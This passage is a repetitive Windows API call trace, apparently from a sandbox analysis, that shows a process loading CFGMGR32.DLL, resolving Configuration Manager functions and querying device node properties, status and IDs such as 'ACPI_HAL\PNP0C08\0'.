lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.828] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.829] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.830] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.831] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.831] malloc (_Size=0x18) returned 0x20abc281b60 [0207.831] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0207.836] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.836] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37a6093e, dwHighDateTime=0x1d9eb0c)) [0207.837] SetEvent (hEvent=0x248) returned 1 [0207.841] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.842] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.842] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.843] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.844] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.845] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.846] malloc (_Size=0x18) returned 0x20abc281e60 [0207.846] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x2c, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0207.846] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.846] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x37a6093e, dwHighDateTime=0x1d9eb0c)) [0207.847] SetEvent (hEvent=0x248) returned 1 [0207.852] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.852] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.852] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.853] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.854] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.855] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.856] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0207.856] malloc (_Size=0x18) returned 0x20abc281ee0 [0207.856] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x2c, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0207.857] malloc (_Size=0x48) returned 0x20abc27cf80 [0207.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x37a8558c, dwHighDateTime=0x1d9eb0c)) [0207.857] SetEvent (hEvent=0x248) returned 1 [0207.861] malloc (_Size=0xd8) returned 0x20abc2867b0 [0207.861] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0207.861] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0207.862] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0207.863] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0207.864] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0207.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0207.865] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.008] malloc (_Size=0x18) returned 0x20abc281a00 [0208.008] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x2c, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0208.008] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x37c024d5, dwHighDateTime=0x1d9eb0c)) [0208.008] SetEvent (hEvent=0x248) returned 1 [0208.013] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.013] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.014] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.015] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.016] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.017] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.017] malloc (_Size=0x18) returned 0x20abc281b60 [0208.017] CM_Get_Device_IDA (in: dnDevInst=0x4, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI_HAL\\PNP0C08\\0") returned 0x0 [0208.017] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.017] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x37c024d5, dwHighDateTime=0x1d9eb0c)) [0208.017] SetEvent (hEvent=0x248) returned 1 [0208.022] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.022] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.022] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.023] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.024] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.025] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.026] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.027] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.028] malloc (_Size=0x18) returned 0x20abc281ac0 [0208.028] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0208.028] malloc (_Size=0x36) returned 0x20abc280b50 [0208.028] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc280b50, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc280b50, pulLength=0x2dc22fd3f8) returned 0x0 [0208.029] free (_Block=0x20abc280b50) [0208.029] malloc (_Size=0x48) returned 0x20abc27cf80 [0208.029] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x37c2e8f9, dwHighDateTime=0x1d9eb0c)) [0208.030] SetEvent (hEvent=0x248) returned 1 [0208.033] malloc (_Size=0x18) returned 0x20abc281960 [0208.033] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abc474858) returned 0x0 [0208.033] free (_Block=0x20abc281960) [0208.033] malloc (_Size=0x18) returned 0x20abc281e60 [0208.034] SafeArrayPutElement (psa=0x20abba80490, rgIndices=0x2dc22fd4c8, pv=0x20abba795b8) returned 0x0 [0208.034] free (_Block=0x20abc281e60) [0208.034] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0d870 [0208.034] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0208.034] SafeArrayGetLBound (in: psa=0x20abba80490, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0208.034] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0208.034] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79bb0 [0208.034] SafeArrayGetDim (psa=0x20abba80490) returned 0x1 [0208.034] SafeArrayGetUBound (in: psa=0x20abba80490, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0208.034] SafeArrayGetElemsize (psa=0x20abba80490) returned 0x8 [0208.034] SafeArrayGetElement (in: psa=0x20abba80490, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0208.035] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0208.035] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0208.036] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79bb0) returned 1 [0208.036] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0d870) returned 1 [0208.037] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.037] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.038] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.039] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0208.040] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0208.040] malloc (_Size=0x18) returned 0x20abc281b20 [0208.041] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x4, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0208.041] malloc (_Size=0x48) returned 0x20abc27cb20 [0208.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x37c4e9fc, dwHighDateTime=0x1d9eb0c)) [0208.041] SetEvent (hEvent=0x248) returned 1 [0208.044] malloc (_Size=0xd8) returned 0x20abc2867b0 [0208.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0208.044] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0208.045] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0208.046] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0208.047] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 